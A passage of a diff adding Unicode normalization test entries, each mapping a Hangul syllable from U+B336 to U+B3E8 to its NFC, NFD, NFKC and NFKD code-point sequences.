+{ source: [0xB336], NFC: [0xB336], NFD: [0x1103, 0x1163, 0x11C1], NFKC: [0xB336], NFKD: [0x1103, 0x1163, 0x11C1] },
+{ source: [0xB337], NFC: [0xB337], NFD: [0x1103, 0x1163, 0x11C2], NFKC: [0xB337], NFKD: [0x1103, 0x1163, 0x11C2] },
+{ source: [0xB338], NFC: [0xB338], NFD: [0x1103, 0x1164], NFKC: [0xB338], NFKD: [0x1103, 0x1164] },
+{ source: [0xB339], NFC: [0xB339], NFD: [0x1103, 0x1164, 0x11A8], NFKC: [0xB339], NFKD: [0x1103, 0x1164, 0x11A8] },
+{ source: [0xB33A], NFC: [0xB33A], NFD: [0x1103, 0x1164, 0x11A9], NFKC: [0xB33A], NFKD: [0x1103, 0x1164, 0x11A9] },
+{ source: [0xB33B], NFC: [0xB33B], NFD: [0x1103, 0x1164, 0x11AA], NFKC: [0xB33B], NFKD: [0x1103, 0x1164, 0x11AA] },
+{ source: [0xB33C], NFC: [0xB33C], NFD: [0x1103, 0x1164, 0x11AB], NFKC: [0xB33C], NFKD: [0x1103, 0x1164, 0x11AB] },
+{ source: [0xB33D], NFC: [0xB33D], NFD: [0x1103, 0x1164, 0x11AC], NFKC: [0xB33D], NFKD: [0x1103, 0x1164, 0x11AC] },
+{ source: [0xB33E], NFC: [0xB33E], NFD: [0x1103, 0x1164, 0x11AD], NFKC: [0xB33E], NFKD: [0x1103, 0x1164, 0x11AD] },
+{ source: [0xB33F], NFC: [0xB33F], NFD: [0x1103, 0x1164, 0x11AE], NFKC: [0xB33F], NFKD: [0x1103, 0x1164, 0x11AE] },
+{ source: [0xB340], NFC: [0xB340], NFD: [0x1103, 0x1164, 0x11AF], NFKC: [0xB340], NFKD: [0x1103, 0x1164, 0x11AF] },
+{ source: [0xB341], NFC: [0xB341], NFD: [0x1103, 0x1164, 0x11B0], NFKC: [0xB341], NFKD: [0x1103, 0x1164, 0x11B0] },
+{ source: [0xB342], NFC: [0xB342], NFD: [0x1103, 0x1164, 0x11B1], NFKC: [0xB342], NFKD: [0x1103, 0x1164, 0x11B1] },
+{ source: [0xB343], NFC: [0xB343], NFD: [0x1103, 0x1164, 0x11B2], NFKC: [0xB343], NFKD: [0x1103, 0x1164, 0x11B2] },
+{ source: [0xB344], NFC: [0xB344], NFD: [0x1103, 0x1164, 0x11B3], NFKC: [0xB344], NFKD: [0x1103, 0x1164, 0x11B3] },
+{ source: [0xB345], NFC: [0xB345], NFD: [0x1103, 0x1164, 0x11B4], NFKC: [0xB345], NFKD: [0x1103, 0x1164, 0x11B4] },
+{ source: [0xB346], NFC: [0xB346], NFD: [0x1103, 0x1164, 0x11B5], NFKC: [0xB346], NFKD: [0x1103, 0x1164, 0x11B5] },
+{ source: [0xB347], NFC: [0xB347], NFD: [0x1103, 0x1164, 0x11B6], NFKC: [0xB347], NFKD: [0x1103, 0x1164, 0x11B6] },
+{ source: [0xB348], NFC: [0xB348], NFD: [0x1103, 0x1164, 0x11B7], NFKC: [0xB348], NFKD: [0x1103, 0x1164, 0x11B7] },
+{ source: [0xB349], NFC: [0xB349], NFD: [0x1103, 0x1164, 0x11B8], NFKC: [0xB349], NFKD: [0x1103, 0x1164, 0x11B8] },
+{ source: [0xB34A], NFC: [0xB34A], NFD: [0x1103, 0x1164, 0x11B9], NFKC: [0xB34A], NFKD: [0x1103, 0x1164, 0x11B9] },
+{ source: [0xB34B], NFC: [0xB34B], NFD: [0x1103, 0x1164, 0x11BA], NFKC: [0xB34B], NFKD: [0x1103, 0x1164, 0x11BA] },
+{ source: [0xB34C], NFC: [0xB34C], NFD: [0x1103, 0x1164, 0x11BB], NFKC: [0xB34C], NFKD: [0x1103, 0x1164, 0x11BB] },
+{ source: [0xB34D], NFC: [0xB34D], NFD: [0x1103, 0x1164, 0x11BC], NFKC: [0xB34D], NFKD: [0x1103, 0x1164, 0x11BC] },
+{ source: [0xB34E], NFC: [0xB34E], NFD: [0x1103, 0x1164, 0x11BD], NFKC: [0xB34E], NFKD: [0x1103, 0x1164, 0x11BD] },
+{ source: [0xB34F], NFC: [0xB34F], NFD: [0x1103, 0x1164, 0x11BE], NFKC: [0xB34F], NFKD: [0x1103, 0x1164, 0x11BE] },
+{ source: [0xB350], NFC: [0xB350], NFD: [0x1103, 0x1164, 0x11BF], NFKC: [0xB350], NFKD: [0x1103, 0x1164, 0x11BF] },
+{ source: [0xB351], NFC: [0xB351], NFD: [0x1103, 0x1164, 0x11C0], NFKC: [0xB351], NFKD: [0x1103, 0x1164, 0x11C0] },
+{ source: [0xB352], NFC: [0xB352], NFD: [0x1103, 0x1164, 0x11C1], NFKC: [0xB352], NFKD: [0x1103, 0x1164, 0x11C1] },
+{ source: [0xB353], NFC: [0xB353], NFD: [0x1103, 0x1164, 0x11C2], NFKC: [0xB353], NFKD: [0x1103, 0x1164, 0x11C2] },
+{ source: [0xB354], NFC: [0xB354], NFD: [0x1103, 0x1165], NFKC: [0xB354], NFKD: [0x1103, 0x1165] },
+{ source: [0xB355], NFC: [0xB355], NFD: [0x1103, 0x1165, 0x11A8], NFKC: [0xB355], NFKD: [0x1103, 0x1165, 0x11A8] },
+{ source: [0xB356], NFC: [0xB356], NFD: [0x1103, 0x1165, 0x11A9], NFKC: [0xB356], NFKD: [0x1103, 0x1165, 0x11A9] },
+{ source: [0xB357], NFC: [0xB357], NFD: [0x1103, 0x1165, 0x11AA], NFKC: [0xB357], NFKD: [0x1103, 0x1165, 0x11AA] },
+{ source: [0xB358], NFC: [0xB358], NFD: [0x1103, 0x1165, 0x11AB], NFKC: [0xB358], NFKD: [0x1103, 0x1165, 0x11AB] },
+{ source: [0xB359], NFC: [0xB359], NFD: [0x1103, 0x1165, 0x11AC], NFKC: [0xB359], NFKD: [0x1103, 0x1165, 0x11AC] },
+{ source: [0xB35A], NFC: [0xB35A], NFD: [0x1103, 0x1165, 0x11AD], NFKC: [0xB35A], NFKD: [0x1103, 0x1165, 0x11AD] },
+{ source: [0xB35B], NFC: [0xB35B], NFD: [0x1103, 0x1165, 0x11AE], NFKC: [0xB35B], NFKD: [0x1103, 0x1165, 0x11AE] },
+{ source: [0xB35C], NFC: [0xB35C], NFD: [0x1103, 0x1165, 0x11AF], NFKC: [0xB35C], NFKD: [0x1103, 0x1165, 0x11AF] },
+{ source: [0xB35D], NFC: [0xB35D], NFD: [0x1103, 0x1165, 0x11B0], NFKC: [0xB35D], NFKD: [0x1103, 0x1165, 0x11B0] },
+{ source: [0xB35E], NFC: [0xB35E], NFD: [0x1103, 0x1165, 0x11B1], NFKC: [0xB35E], NFKD: [0x1103, 0x1165, 0x11B1] },
+{ source: [0xB35F], NFC: [0xB35F], NFD: [0x1103, 0x1165, 0x11B2], NFKC: [0xB35F], NFKD: [0x1103, 0x1165, 0x11B2] },
+{ source: [0xB360], NFC: [0xB360], NFD: [0x1103, 0x1165, 0x11B3], NFKC: [0xB360], NFKD: [0x1103, 0x1165, 0x11B3] },
+{ source: [0xB361], NFC: [0xB361], NFD: [0x1103, 0x1165, 0x11B4], NFKC: [0xB361], NFKD: [0x1103, 0x1165, 0x11B4] },
+{ source: [0xB362], NFC: [0xB362], NFD: [0x1103, 0x1165, 0x11B5], NFKC: [0xB362], NFKD: [0x1103, 0x1165, 0x11B5] },
+{ source: [0xB363], NFC: [0xB363], NFD: [0x1103, 0x1165, 0x11B6], NFKC: [0xB363], NFKD: [0x1103, 0x1165, 0x11B6] },
+{ source: [0xB364], NFC: [0xB364], NFD: [0x1103, 0x1165, 0x11B7], NFKC: [0xB364], NFKD: [0x1103, 0x1165, 0x11B7] },
+{ source: [0xB365], NFC: [0xB365], NFD: [0x1103, 0x1165, 0x11B8], NFKC: [0xB365], NFKD: [0x1103, 0x1165, 0x11B8] },
+{ source: [0xB366], NFC: [0xB366], NFD: [0x1103, 0x1165, 0x11B9], NFKC: [0xB366], NFKD: [0x1103, 0x1165, 0x11B9] },
+{ source: [0xB367], NFC: [0xB367], NFD: [0x1103, 0x1165, 0x11BA], NFKC: [0xB367], NFKD: [0x1103, 0x1165, 0x11BA] },
+{ source: [0xB368], NFC: [0xB368], NFD: [0x1103, 0x1165, 0x11BB], NFKC: [0xB368], NFKD: [0x1103, 0x1165, 0x11BB] },
+{ source: [0xB369], NFC: [0xB369], NFD: [0x1103, 0x1165, 0x11BC], NFKC: [0xB369], NFKD: [0x1103, 0x1165, 0x11BC] },
+{ source: [0xB36A], NFC: [0xB36A], NFD: [0x1103, 0x1165, 0x11BD], NFKC: [0xB36A], NFKD: [0x1103, 0x1165, 0x11BD] },
+{ source: [0xB36B], NFC: [0xB36B], NFD: [0x1103, 0x1165, 0x11BE], NFKC: [0xB36B], NFKD: [0x1103, 0x1165, 0x11BE] },
+{ source: [0xB36C], NFC: [0xB36C], NFD: [0x1103, 0x1165, 0x11BF], NFKC: [0xB36C], NFKD: [0x1103, 0x1165, 0x11BF] },
+{ source: [0xB36D], NFC: [0xB36D], NFD: [0x1103, 0x1165, 0x11C0], NFKC: [0xB36D], NFKD: [0x1103, 0x1165, 0x11C0] },
+{ source: [0xB36E], NFC: [0xB36E], NFD: [0x1103, 0x1165, 0x11C1], NFKC: [0xB36E], NFKD: [0x1103, 0x1165, 0x11C1] },
+{ source: [0xB36F], NFC: [0xB36F], NFD: [0x1103, 0x1165, 0x11C2], NFKC: [0xB36F], NFKD: [0x1103, 0x1165, 0x11C2] },
+{ source: [0xB370], NFC: [0xB370], NFD: [0x1103, 0x1166], NFKC: [0xB370], NFKD: [0x1103, 0x1166] },
+{ source: [0xB371], NFC: [0xB371], NFD: [0x1103, 0x1166, 0x11A8], NFKC: [0xB371], NFKD: [0x1103, 0x1166, 0x11A8] },
+{ source: [0xB372], NFC: [0xB372], NFD: [0x1103, 0x1166, 0x11A9], NFKC: [0xB372], NFKD: [0x1103, 0x1166, 0x11A9] },
+{ source: [0xB373], NFC: [0xB373], NFD: [0x1103, 0x1166, 0x11AA], NFKC: [0xB373], NFKD: [0x1103, 0x1166, 0x11AA] },
+{ source: [0xB374], NFC: [0xB374], NFD: [0x1103, 0x1166, 0x11AB], NFKC: [0xB374], NFKD: [0x1103, 0x1166, 0x11AB] },
+{ source: [0xB375], NFC: [0xB375], NFD: [0x1103, 0x1166, 0x11AC], NFKC: [0xB375], NFKD: [0x1103, 0x1166, 0x11AC] },
+{ source: [0xB376], NFC: [0xB376], NFD: [0x1103, 0x1166, 0x11AD], NFKC: [0xB376], NFKD: [0x1103, 0x1166, 0x11AD] },
+{ source: [0xB377], NFC: [0xB377], NFD: [0x1103, 0x1166, 0x11AE], NFKC: [0xB377], NFKD: [0x1103, 0x1166, 0x11AE] },
+{ source: [0xB378], NFC: [0xB378], NFD: [0x1103, 0x1166, 0x11AF], NFKC: [0xB378], NFKD: [0x1103, 0x1166, 0x11AF] },
+{ source: [0xB379], NFC: [0xB379], NFD: [0x1103, 0x1166, 0x11B0], NFKC: [0xB379], NFKD: [0x1103, 0x1166, 0x11B0] },
+{ source: [0xB37A], NFC: [0xB37A], NFD: [0x1103, 0x1166, 0x11B1], NFKC: [0xB37A], NFKD: [0x1103, 0x1166, 0x11B1] },
+{ source: [0xB37B], NFC: [0xB37B], NFD: [0x1103, 0x1166, 0x11B2], NFKC: [0xB37B], NFKD: [0x1103, 0x1166, 0x11B2] },
+{ source: [0xB37C], NFC: [0xB37C], NFD: [0x1103, 0x1166, 0x11B3], NFKC: [0xB37C], NFKD: [0x1103, 0x1166, 0x11B3] },
+{ source: [0xB37D], NFC: [0xB37D], NFD: [0x1103, 0x1166, 0x11B4], NFKC: [0xB37D], NFKD: [0x1103, 0x1166, 0x11B4] },
+{ source: [0xB37E], NFC: [0xB37E], NFD: [0x1103, 0x1166, 0x11B5], NFKC: [0xB37E], NFKD: [0x1103, 0x1166, 0x11B5] },
+{ source: [0xB37F], NFC: [0xB37F], NFD: [0x1103, 0x1166, 0x11B6], NFKC: [0xB37F], NFKD: [0x1103, 0x1166, 0x11B6] },
+{ source: [0xB380], NFC: [0xB380], NFD: [0x1103, 0x1166, 0x11B7], NFKC: [0xB380], NFKD: [0x1103, 0x1166, 0x11B7] },
+{ source: [0xB381], NFC: [0xB381], NFD: [0x1103, 0x1166, 0x11B8], NFKC: [0xB381], NFKD: [0x1103, 0x1166, 0x11B8] },
+{ source: [0xB382], NFC: [0xB382], NFD: [0x1103, 0x1166, 0x11B9], NFKC: [0xB382], NFKD: [0x1103, 0x1166, 0x11B9] },
+{ source: [0xB383], NFC: [0xB383], NFD: [0x1103, 0x1166, 0x11BA], NFKC: [0xB383], NFKD: [0x1103, 0x1166, 0x11BA] },
+{ source: [0xB384], NFC: [0xB384], NFD: [0x1103, 0x1166, 0x11BB], NFKC: [0xB384], NFKD: [0x1103, 0x1166, 0x11BB] },
+{ source: [0xB385], NFC: [0xB385], NFD: [0x1103, 0x1166, 0x11BC], NFKC: [0xB385], NFKD: [0x1103, 0x1166, 0x11BC] },
+{ source: [0xB386], NFC: [0xB386], NFD: [0x1103, 0x1166, 0x11BD], NFKC: [0xB386], NFKD: [0x1103, 0x1166, 0x11BD] },
+{ source: [0xB387], NFC: [0xB387], NFD: [0x1103, 0x1166, 0x11BE], NFKC: [0xB387], NFKD: [0x1103, 0x1166, 0x11BE] },
+{ source: [0xB388], NFC: [0xB388], NFD: [0x1103, 0x1166, 0x11BF], NFKC: [0xB388], NFKD: [0x1103, 0x1166, 0x11BF] },
+{ source: [0xB389], NFC: [0xB389], NFD: [0x1103, 0x1166, 0x11C0], NFKC: [0xB389], NFKD: [0x1103, 0x1166, 0x11C0] },
+{ source: [0xB38A], NFC: [0xB38A], NFD: [0x1103, 0x1166, 0x11C1], NFKC: [0xB38A], NFKD: [0x1103, 0x1166, 0x11C1] },
+{ source: [0xB38B], NFC: [0xB38B], NFD: [0x1103, 0x1166, 0x11C2], NFKC: [0xB38B], NFKD: [0x1103, 0x1166, 0x11C2] },
+{ source: [0xB38C], NFC: [0xB38C], NFD: [0x1103, 0x1167], NFKC: [0xB38C], NFKD: [0x1103, 0x1167] },
+{ source: [0xB38D], NFC: [0xB38D], NFD: [0x1103, 0x1167, 0x11A8], NFKC: [0xB38D], NFKD: [0x1103, 0x1167, 0x11A8] },
+{ source: [0xB38E], NFC: [0xB38E], NFD: [0x1103, 0x1167, 0x11A9], NFKC: [0xB38E], NFKD: [0x1103, 0x1167, 0x11A9] },
+{ source: [0xB38F], NFC: [0xB38F], NFD: [0x1103, 0x1167, 0x11AA], NFKC: [0xB38F], NFKD: [0x1103, 0x1167, 0x11AA] },
+{ source: [0xB390], NFC: [0xB390], NFD: [0x1103, 0x1167, 0x11AB], NFKC: [0xB390], NFKD: [0x1103, 0x1167, 0x11AB] },
+{ source: [0xB391], NFC: [0xB391], NFD: [0x1103, 0x1167, 0x11AC], NFKC: [0xB391], NFKD: [0x1103, 0x1167, 0x11AC] },
+{ source: [0xB392], NFC: [0xB392], NFD: [0x1103, 0x1167, 0x11AD], NFKC: [0xB392], NFKD: [0x1103, 0x1167, 0x11AD] },
+{ source: [0xB393], NFC: [0xB393], NFD: [0x1103, 0x1167, 0x11AE], NFKC: [0xB393], NFKD: [0x1103, 0x1167, 0x11AE] },
+{ source: [0xB394], NFC: [0xB394], NFD: [0x1103, 0x1167, 0x11AF], NFKC: [0xB394], NFKD: [0x1103, 0x1167, 0x11AF] },
+{ source: [0xB395], NFC: [0xB395], NFD: [0x1103, 0x1167, 0x11B0], NFKC: [0xB395], NFKD: [0x1103, 0x1167, 0x11B0] },
+{ source: [0xB396], NFC: [0xB396], NFD: [0x1103, 0x1167, 0x11B1], NFKC: [0xB396], NFKD: [0x1103, 0x1167, 0x11B1] },
+{ source: [0xB397], NFC: [0xB397], NFD: [0x1103, 0x1167, 0x11B2], NFKC: [0xB397], NFKD: [0x1103, 0x1167, 0x11B2] },
+{ source: [0xB398], NFC: [0xB398], NFD: [0x1103, 0x1167, 0x11B3], NFKC: [0xB398], NFKD: [0x1103, 0x1167, 0x11B3] },
+{ source: [0xB399], NFC: [0xB399], NFD: [0x1103, 0x1167, 0x11B4], NFKC: [0xB399], NFKD: [0x1103, 0x1167, 0x11B4] },
+{ source: [0xB39A], NFC: [0xB39A], NFD: [0x1103, 0x1167, 0x11B5], NFKC: [0xB39A], NFKD: [0x1103, 0x1167, 0x11B5] },
+{ source: [0xB39B], NFC: [0xB39B], NFD: [0x1103, 0x1167, 0x11B6], NFKC: [0xB39B], NFKD: [0x1103, 0x1167, 0x11B6] },
+{ source: [0xB39C], NFC: [0xB39C], NFD: [0x1103, 0x1167, 0x11B7], NFKC: [0xB39C], NFKD: [0x1103, 0x1167, 0x11B7] },
+{ source: [0xB39D], NFC: [0xB39D], NFD: [0x1103, 0x1167, 0x11B8], NFKC: [0xB39D], NFKD: [0x1103, 0x1167, 0x11B8] },
+{ source: [0xB39E], NFC: [0xB39E], NFD: [0x1103, 0x1167, 0x11B9], NFKC: [0xB39E], NFKD: [0x1103, 0x1167, 0x11B9] },
+{ source: [0xB39F], NFC: [0xB39F], NFD: [0x1103, 0x1167, 0x11BA], NFKC: [0xB39F], NFKD: [0x1103, 0x1167, 0x11BA] },
+{ source: [0xB3A0], NFC: [0xB3A0], NFD: [0x1103, 0x1167, 0x11BB], NFKC: [0xB3A0], NFKD: [0x1103, 0x1167, 0x11BB] },
+{ source: [0xB3A1], NFC: [0xB3A1], NFD: [0x1103, 0x1167, 0x11BC], NFKC: [0xB3A1], NFKD: [0x1103, 0x1167, 0x11BC] },
+{ source: [0xB3A2], NFC: [0xB3A2], NFD: [0x1103, 0x1167, 0x11BD], NFKC: [0xB3A2], NFKD: [0x1103, 0x1167, 0x11BD] },
+{ source: [0xB3A3], NFC: [0xB3A3], NFD: [0x1103, 0x1167, 0x11BE], NFKC: [0xB3A3], NFKD: [0x1103, 0x1167, 0x11BE] },
+{ source: [0xB3A4], NFC: [0xB3A4], NFD: [0x1103, 0x1167, 0x11BF], NFKC: [0xB3A4], NFKD: [0x1103, 0x1167, 0x11BF] },
+{ source: [0xB3A5], NFC: [0xB3A5], NFD: [0x1103, 0x1167, 0x11C0], NFKC: [0xB3A5], NFKD: [0x1103, 0x1167, 0x11C0] },
+{ source: [0xB3A6], NFC: [0xB3A6], NFD: [0x1103, 0x1167, 0x11C1], NFKC: [0xB3A6], NFKD: [0x1103, 0x1167, 0x11C1] },
+{ source: [0xB3A7], NFC: [0xB3A7], NFD: [0x1103, 0x1167, 0x11C2], NFKC: [0xB3A7], NFKD: [0x1103, 0x1167, 0x11C2] },
+{ source: [0xB3A8], NFC: [0xB3A8], NFD: [0x1103, 0x1168], NFKC: [0xB3A8], NFKD: [0x1103, 0x1168] },
+{ source: [0xB3A9], NFC: [0xB3A9], NFD: [0x1103, 0x1168, 0x11A8], NFKC: [0xB3A9], NFKD: [0x1103, 0x1168, 0x11A8] },
+{ source: [0xB3AA], NFC: [0xB3AA], NFD: [0x1103, 0x1168, 0x11A9], NFKC: [0xB3AA], NFKD: [0x1103, 0x1168, 0x11A9] },
+{ source: [0xB3AB], NFC: [0xB3AB], NFD: [0x1103, 0x1168, 0x11AA], NFKC: [0xB3AB], NFKD: [0x1103, 0x1168, 0x11AA] },
+{ source: [0xB3AC], NFC: [0xB3AC], NFD: [0x1103, 0x1168, 0x11AB], NFKC: [0xB3AC], NFKD: [0x1103, 0x1168, 0x11AB] },
+{ source: [0xB3AD], NFC: [0xB3AD], NFD: [0x1103, 0x1168, 0x11AC], NFKC: [0xB3AD], NFKD: [0x1103, 0x1168, 0x11AC] },
+{ source: [0xB3AE], NFC: [0xB3AE], NFD: [0x1103, 0x1168, 0x11AD], NFKC: [0xB3AE], NFKD: [0x1103, 0x1168, 0x11AD] },
+{ source: [0xB3AF], NFC: [0xB3AF], NFD: [0x1103, 0x1168, 0x11AE], NFKC: [0xB3AF], NFKD: [0x1103, 0x1168, 0x11AE] },
+{ source: [0xB3B0], NFC: [0xB3B0], NFD: [0x1103, 0x1168, 0x11AF], NFKC: [0xB3B0], NFKD: [0x1103, 0x1168, 0x11AF] },
+{ source: [0xB3B1], NFC: [0xB3B1], NFD: [0x1103, 0x1168, 0x11B0], NFKC: [0xB3B1], NFKD: [0x1103, 0x1168, 0x11B0] },
+{ source: [0xB3B2], NFC: [0xB3B2], NFD: [0x1103, 0x1168, 0x11B1], NFKC: [0xB3B2], NFKD: [0x1103, 0x1168, 0x11B1] },
+{ source: [0xB3B3], NFC: [0xB3B3], NFD: [0x1103, 0x1168, 0x11B2], NFKC: [0xB3B3], NFKD: [0x1103, 0x1168, 0x11B2] },
+{ source: [0xB3B4], NFC: [0xB3B4], NFD: [0x1103, 0x1168, 0x11B3], NFKC: [0xB3B4], NFKD: [0x1103, 0x1168, 0x11B3] },
+{ source: [0xB3B5], NFC: [0xB3B5], NFD: [0x1103, 0x1168, 0x11B4], NFKC: [0xB3B5], NFKD: [0x1103, 0x1168, 0x11B4] },
+{ source: [0xB3B6], NFC: [0xB3B6], NFD: [0x1103, 0x1168, 0x11B5], NFKC: [0xB3B6], NFKD: [0x1103, 0x1168, 0x11B5] },
+{ source: [0xB3B7], NFC: [0xB3B7], NFD: [0x1103, 0x1168, 0x11B6], NFKC: [0xB3B7], NFKD: [0x1103, 0x1168, 0x11B6] },
+{ source: [0xB3B8], NFC: [0xB3B8], NFD: [0x1103, 0x1168, 0x11B7], NFKC: [0xB3B8], NFKD: [0x1103, 0x1168, 0x11B7] },
+{ source: [0xB3B9], NFC: [0xB3B9], NFD: [0x1103, 0x1168, 0x11B8], NFKC: [0xB3B9], NFKD: [0x1103, 0x1168, 0x11B8] },
+{ source: [0xB3BA], NFC: [0xB3BA], NFD: [0x1103, 0x1168, 0x11B9], NFKC: [0xB3BA], NFKD: [0x1103, 0x1168, 0x11B9] },
+{ source: [0xB3BB], NFC: [0xB3BB], NFD: [0x1103, 0x1168, 0x11BA], NFKC: [0xB3BB], NFKD: [0x1103, 0x1168, 0x11BA] },
+{ source: [0xB3BC], NFC: [0xB3BC], NFD: [0x1103, 0x1168, 0x11BB], NFKC: [0xB3BC], NFKD: [0x1103, 0x1168, 0x11BB] },
+{ source: [0xB3BD], NFC: [0xB3BD], NFD: [0x1103, 0x1168, 0x11BC], NFKC: [0xB3BD], NFKD: [0x1103, 0x1168, 0x11BC] },
+{ source: [0xB3BE], NFC: [0xB3BE], NFD: [0x1103, 0x1168, 0x11BD], NFKC: [0xB3BE], NFKD: [0x1103, 0x1168, 0x11BD] },
+{ source: [0xB3BF], NFC: [0xB3BF], NFD: [0x1103, 0x1168, 0x11BE], NFKC: [0xB3BF], NFKD: [0x1103, 0x1168, 0x11BE] },
+{ source: [0xB3C0], NFC: [0xB3C0], NFD: [0x1103, 0x1168, 0x11BF], NFKC: [0xB3C0], NFKD: [0x1103, 0x1168, 0x11BF] },
+{ source: [0xB3C1], NFC: [0xB3C1], NFD: [0x1103, 0x1168, 0x11C0], NFKC: [0xB3C1], NFKD: [0x1103, 0x1168, 0x11C0] },
+{ source: [0xB3C2], NFC: [0xB3C2], NFD: [0x1103, 0x1168, 0x11C1], NFKC: [0xB3C2], NFKD: [0x1103, 0x1168, 0x11C1] },
+{ source: [0xB3C3], NFC: [0xB3C3], NFD: [0x1103, 0x1168, 0x11C2], NFKC: [0xB3C3], NFKD: [0x1103, 0x1168, 0x11C2] },
+{ source: [0xB3C4], NFC: [0xB3C4], NFD: [0x1103, 0x1169], NFKC: [0xB3C4], NFKD: [0x1103, 0x1169] },
+{ source: [0xB3C5], NFC: [0xB3C5], NFD: [0x1103, 0x1169, 0x11A8], NFKC: [0xB3C5], NFKD: [0x1103, 0x1169, 0x11A8] },
+{ source: [0xB3C6], NFC: [0xB3C6], NFD: [0x1103, 0x1169, 0x11A9], NFKC: [0xB3C6], NFKD: [0x1103, 0x1169, 0x11A9] },
+{ source: [0xB3C7], NFC: [0xB3C7], NFD: [0x1103, 0x1169, 0x11AA], NFKC: [0xB3C7], NFKD: [0x1103, 0x1169, 0x11AA] },
+{ source: [0xB3C8], NFC: [0xB3C8], NFD: [0x1103, 0x1169, 0x11AB], NFKC: [0xB3C8], NFKD: [0x1103, 0x1169, 0x11AB] },
+{ source: [0xB3C9], NFC: [0xB3C9], NFD: [0x1103, 0x1169, 0x11AC], NFKC: [0xB3C9], NFKD: [0x1103, 0x1169, 0x11AC] },
+{ source: [0xB3CA], NFC: [0xB3CA], NFD: [0x1103, 0x1169, 0x11AD], NFKC: [0xB3CA], NFKD: [0x1103, 0x1169, 0x11AD] },
+{ source: [0xB3CB], NFC: [0xB3CB], NFD: [0x1103, 0x1169, 0x11AE], NFKC: [0xB3CB], NFKD: [0x1103, 0x1169, 0x11AE] },
+{ source: [0xB3CC], NFC: [0xB3CC], NFD: [0x1103, 0x1169, 0x11AF], NFKC: [0xB3CC], NFKD: [0x1103, 0x1169, 0x11AF] },
+{ source: [0xB3CD], NFC: [0xB3CD], NFD: [0x1103, 0x1169, 0x11B0], NFKC: [0xB3CD], NFKD: [0x1103, 0x1169, 0x11B0] },
+{ source: [0xB3CE], NFC: [0xB3CE], NFD: [0x1103, 0x1169, 0x11B1], NFKC: [0xB3CE], NFKD: [0x1103, 0x1169, 0x11B1] },
+{ source: [0xB3CF], NFC: [0xB3CF], NFD: [0x1103, 0x1169, 0x11B2], NFKC: [0xB3CF], NFKD: [0x1103, 0x1169, 0x11B2] },
+{ source: [0xB3D0], NFC: [0xB3D0], NFD: [0x1103, 0x1169, 0x11B3], NFKC: [0xB3D0], NFKD: [0x1103, 0x1169, 0x11B3] },
+{ source: [0xB3D1], NFC: [0xB3D1], NFD: [0x1103, 0x1169, 0x11B4], NFKC: [0xB3D1], NFKD: [0x1103, 0x1169, 0x11B4] },
+{ source: [0xB3D2], NFC: [0xB3D2], NFD: [0x1103, 0x1169, 0x11B5], NFKC: [0xB3D2], NFKD: [0x1103, 0x1169, 0x11B5] },
+{ source: [0xB3D3], NFC: [0xB3D3], NFD: [0x1103, 0x1169, 0x11B6], NFKC: [0xB3D3], NFKD: [0x1103, 0x1169, 0x11B6] },
+{ source: [0xB3D4], NFC: [0xB3D4], NFD: [0x1103, 0x1169, 0x11B7], NFKC: [0xB3D4], NFKD: [0x1103, 0x1169, 0x11B7] },
+{ source: [0xB3D5], NFC: [0xB3D5], NFD: [0x1103, 0x1169, 0x11B8], NFKC: [0xB3D5], NFKD: [0x1103, 0x1169, 0x11B8] },
+{ source: [0xB3D6], NFC: [0xB3D6], NFD: [0x1103, 0x1169, 0x11B9], NFKC: [0xB3D6], NFKD: [0x1103, 0x1169, 0x11B9] },
+{ source: [0xB3D7], NFC: [0xB3D7], NFD: [0x1103, 0x1169, 0x11BA], NFKC: [0xB3D7], NFKD: [0x1103, 0x1169, 0x11BA] },
+{ source: [0xB3D8], NFC: [0xB3D8], NFD: [0x1103, 0x1169, 0x11BB], NFKC: [0xB3D8], NFKD: [0x1103, 0x1169, 0x11BB] },
+{ source: [0xB3D9], NFC: [0xB3D9], NFD: [0x1103, 0x1169, 0x11BC], NFKC: [0xB3D9], NFKD: [0x1103, 0x1169, 0x11BC] },
+{ source: [0xB3DA], NFC: [0xB3DA], NFD: [0x1103, 0x1169, 0x11BD], NFKC: [0xB3DA], NFKD: [0x1103, 0x1169, 0x11BD] },
+{ source: [0xB3DB], NFC: [0xB3DB], NFD: [0x1103, 0x1169, 0x11BE], NFKC: [0xB3DB], NFKD: [0x1103, 0x1169, 0x11BE] },
+{ source: [0xB3DC], NFC: [0xB3DC], NFD: [0x1103, 0x1169, 0x11BF], NFKC: [0xB3DC], NFKD: [0x1103, 0x1169, 0x11BF] },
+{ source: [0xB3DD], NFC: [0xB3DD], NFD: [0x1103, 0x1169, 0x11C0], NFKC: [0xB3DD], NFKD: [0x1103, 0x1169, 0x11C0] },
+{ source: [0xB3DE], NFC: [0xB3DE], NFD: [0x1103, 0x1169, 0x11C1], NFKC: [0xB3DE], NFKD: [0x1103, 0x1169, 0x11C1] },
+{ source: [0xB3DF], NFC: [0xB3DF], NFD: [0x1103, 0x1169, 0x11C2], NFKC: [0xB3DF], NFKD: [0x1103, 0x1169, 0x11C2] },
+{ source: [0xB3E0], NFC: [0xB3E0], NFD: [0x1103, 0x116A], NFKC: [0xB3E0], NFKD: [0x1103, 0x116A] },
+{ source: [0xB3E1], NFC: [0xB3E1], NFD: [0x1103, 0x116A, 0x11A8], NFKC: [0xB3E1], NFKD: [0x1103, 0x116A, 0x11A8] },
+{ source: [0xB3E2], NFC: [0xB3E2], NFD: [0x1103, 0x116A, 0x11A9], NFKC: [0xB3E2], NFKD: [0x1103, 0x116A, 0x11A9] },
+{ source: [0xB3E3], NFC: [0xB3E3], NFD: [0x1103, 0x116A, 0x11AA], NFKC: [0xB3E3], NFKD: [0x1103, 0x116A, 0x11AA] },
+{ source: [0xB3E4], NFC: [0xB3E4], NFD: [0x1103, 0x116A, 0x11AB], NFKC: [0xB3E4], NFKD: [0x1103, 0x116A, 0x11AB] },
+{ source: [0xB3E5], NFC: [0xB3E5], NFD: [0x1103, 0x116A, 0x11AC], NFKC: [0xB3E5], NFKD: [0x1103, 0x116A, 0x11AC] },
+{ source: [0xB3E6], NFC: [0xB3E6], NFD: [0x1103, 0x116A, 0x11AD], NFKC: [0xB3E6], NFKD: [0x1103, 0x116A, 0x11AD] },
+{ source: [0xB3E7], NFC: [0xB3E7], NFD: [0x1103, 0x116A, 0x11AE], NFKC: [0xB3E7], NFKD: [0x1103, 0x116A, 0x11AE] },
+{ source: [0xB3E8], NFC: [0xB3E8], NFD: [0x1103, 0x116A, 0x11AF], NFKC: [0xB3E8], NFKD: [0x1103, 0x116A, 0x11AF] },
